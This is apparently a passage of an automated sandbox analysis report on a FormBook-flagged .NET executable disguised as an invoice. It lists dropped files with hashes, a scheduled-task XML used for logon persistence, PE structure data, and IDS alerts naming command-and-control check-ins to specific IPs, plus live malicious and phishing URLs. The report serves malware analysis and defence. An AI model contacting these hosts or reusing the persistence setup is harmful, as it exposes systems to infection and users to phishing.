	na.elf	Get hash	malicious	Mirai	Browse	8.221.121.89
	http://ipfs.io/ipfs/bafybeidgkzr2gy7npe4yonk6p7s4chmwvgd2cp7bk7u6llfwiutgvt77tq	Get hash	malicious	HTMLPhisher	Browse	47.246.131.28
	na.elf	Get hash	malicious	Mirai	Browse	47.91.26.168
	https://us-usps-vpoktn.xyz/update/	Get hash	malicious	Unknown	Browse	47.252.21.175
	https://us-usps-zguvhm.xyz/update/	Get hash	malicious	Unknown	Browse	47.252.21.175
	https://swiftclaimairdropmeta.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	47.253.61.56
	http://pancakeswaplogin.educatorpages.com/	Get hash	malicious	Unknown	Browse	47.253.61.56
	https://www.wbtd.com/	Get hash	malicious	Unknown	Browse	47.253.61.56

Process:	C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\z1SupplyInvoiceCM60916_Doc.exe.log

Process:	C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.380747059108785
Encrypted:	false
SSDEEP:	48:lylWSU4xymI4RfoUeW+gZ9tK8NPZHUxL7u1iMugeC/ZPUyus:lGLHxvIIwLgZ2KRHWLOug8s
MD5:	4D3B8C97355CF67072ABECB12613F72B
SHA1:	07B27BA4FE575BBF9F893F03789AD9B8BC2F8615
SHA-256:	75FC38CDE708951C1963BB89E8AA6CC82F15F1A261BEACAF1BFD9CF0518BEECD
SHA-512:	8E47C93144772042865B784300F4528E079615F502A3C5DC6BFDE069880268706B7B3BEE227AD5D9EA0E6A3055EDBC90B39B9E55FE3AD58635493253A210C996
Malicious:	false
Preview:	@...e.................................^..............@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\7-j38IBI

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0cc0lyqv.lwx.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_25shhdnp.ojo.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3jotehpq.34b.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5fojkxgy.kdg.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c3n5bjtu.xsn.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d1rocwoz.onv.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ityic10c.v0z.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rnlduawj.ynr.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmp68D8.tmp

Process:	C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1599
Entropy (8bit):	5.099588163741439
Encrypted:	false
SSDEEP:	24:2di4+S2qhHb1eHky1mIHdUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtLUpCxv:cge7QYrFdOFzOzN33ODOiDdKrsuTopGv
MD5:	3C561028589D3817F444E905EBC9D3D6
SHA1:	E2A7AFD78C0778089D04B033114FECFDFCEADC9A
SHA-256:	0AA78A336DECBFFB29818B596533A4F736F8FC103302C61D30E1731AB3762AD8
SHA-512:	2DAFDB2B67B4EDD99FA2A8961F81DD7257D38EA8E8D9EC952F5AFF59DE2FB5B5591D029B75080814B2E94137B1DFB297BA5321678D3589136367C7A1EA35A2E6
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <Run

C:\Users\user\AppData\Local\Temp\tmp9353.tmp

Process:	C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1599
Entropy (8bit):	5.099588163741439
Encrypted:	false
SSDEEP:	24:2di4+S2qhHb1eHky1mIHdUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtLUpCxv:cge7QYrFdOFzOzN33ODOiDdKrsuTopGv
MD5:	3C561028589D3817F444E905EBC9D3D6
SHA1:	E2A7AFD78C0778089D04B033114FECFDFCEADC9A
SHA-256:	0AA78A336DECBFFB29818B596533A4F736F8FC103302C61D30E1731AB3762AD8
SHA-512:	2DAFDB2B67B4EDD99FA2A8961F81DD7257D38EA8E8D9EC952F5AFF59DE2FB5B5591D029B75080814B2E94137B1DFB297BA5321678D3589136367C7A1EA35A2E6
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <Run

C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe

Process:	C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	949248
Entropy (8bit):	7.546047142053318
Encrypted:	false
SSDEEP:	12288:j08rE/Yt9wmScoPQEnH1sdUg2mBHMTIOyHo4eV5mZLPQkwjTRQHNi+u:WzPdVYdBEIOyHofmZ/w/Rki
MD5:	A903C6FB836F2C2C2762D1FDE269BDB8
SHA1:	951DB6EEEEF69C89D7096BA54AA8C4A95273B9A4
SHA-256:	BBD7BA6F8AE2B651EEB05135BA638A2DE431BE9C9A8B347621391B733C95F865
SHA-512:	F7BAE9FD84F98E3434F8E8D50BB03B2D60EC2F7365F2D396277E292AAB1028936C4E7C59A9676C949150DB35273344D5E5F39FBE86A2B87BA8E5C20A392452E8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...7+.g..............0..p............... ........@.. ....................................@.................................5...O.......,...............................T............................................ ............... ..H............text....n... ...p.................. ..`.rsrc...,............r..............@..@.reloc...............z..............@..B................i.......H............p...........[..0............................................0............{.....+..&...}.......0............{.....+..&...}.......0............{.....+..&...}.......0............{.....+..&...}.......0............{.....+..&...}.......0............{.....+..&...}.......0............{.....+..&...}.......0............{.....+..&...}....".($....^..}.....(%......(.....&..(&........0..%........r...prO..p.('..........,....o(.........0..+.........,..{......

C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe:Zone.Identifier

Process:	C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.546047142053318
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.79% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Win16/32 Executable Delphi generic (2074/23) 0.01%
File name:	z1SupplyInvoiceCM60916_Doc.exe
File size:	949'248 bytes
MD5:	a903c6fb836f2c2c2762d1fde269bdb8
SHA1:	951db6eeeef69c89d7096ba54aa8c4a95273b9a4
SHA256:	bbd7ba6f8ae2b651eeb05135ba638a2de431be9c9a8b347621391b733c95f865
SHA512:	f7bae9fd84f98e3434f8e8d50bb03b2d60ec2f7365f2d396277e292aab1028936c4e7c59a9676c949150db35273344d5e5f39fbe86a2b87ba8e5c20a392452e8
SSDEEP:	12288:j08rE/Yt9wmScoPQEnH1sdUg2mBHMTIOyHo4eV5mZLPQkwjTRQHNi+u:WzPdVYdBEIOyHofmZ/w/Rki
TLSH:	9E15E01822A98F05E4BA47F55A64E2344BB53D9DBC2AE3490EC57CEB3D737424E42B07
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...7+.g..............0..p............... ........@.. ....................................@................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x4e8e8a
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x67032B37 [Mon Oct 7 00:28:39 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xe8e35	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xea000	0x62c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xec000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xe1ed0	0x54	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xe6e90	0xe7000	57c1d80d575a5061541cb2c0c14f4b61	False	0.7894007034632035	data	7.5545631367801445	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xea000	0x62c	0x800	254f06fd7fa564e3bef360e1ab4c5388	False	0.33837890625	data	3.466674679946595	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xec000	0xc	0x200	1764babad283d10a82a7bf6a1153bc26	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xea090	0x39c	data			0.41883116883116883
RT_MANIFEST	0xea43c	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-07T12:33:30.413477+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.6	49864	3.33.130.190	80	TCP
2024-10-07T12:33:30.413477+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	49864	3.33.130.190	80	TCP
2024-10-07T12:33:47.257489+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49969	119.18.54.27	80	TCP
2024-10-07T12:33:49.804750+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49987	119.18.54.27	80	TCP
2024-10-07T12:33:52.367188+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49992	119.18.54.27	80	TCP
2024-10-07T12:33:54.877005+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.6	49994	119.18.54.27	80	TCP
2024-10-07T12:33:54.877005+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	49994	119.18.54.27	80	TCP
2024-10-07T12:34:00.757031+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49995	104.21.5.125	80	TCP
2024-10-07T12:34:03.309278+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49996	104.21.5.125	80	TCP
2024-10-07T12:34:05.847786+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49998	104.21.5.125	80	TCP
2024-10-07T12:34:08.398289+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.6	49999	104.21.5.125	80	TCP
2024-10-07T12:34:08.398289+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	49999	104.21.5.125	80	TCP
2024-10-07T12:34:13.941938+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50000	3.33.130.190	80	TCP
2024-10-07T12:34:16.462640+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50001	3.33.130.190	80	TCP
2024-10-07T12:34:20.039330+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50003	3.33.130.190	80	TCP
